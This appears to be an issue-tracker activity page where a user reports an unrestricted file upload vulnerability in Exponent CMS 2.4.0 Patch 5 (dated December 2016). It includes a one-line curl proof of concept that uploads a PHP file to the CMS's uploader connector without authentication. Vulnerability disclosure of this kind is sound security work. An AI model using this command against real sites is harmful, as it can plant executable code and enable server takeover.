mm
Not a member
mm's latest activity
Sunday, December 11 2016
1402
Exponent CMS 2.4.0 Patch 5 - Unrestricted File Upload Vulnerability in expFil...
was created
in Exponent CMS
-
mm created the ticket at 8:47 PMAllows unauthenticated users to upload executable files.
Example:
curl -F "upload=@/attack.php" [exponent]/framework/modules/file/connector/uploader.php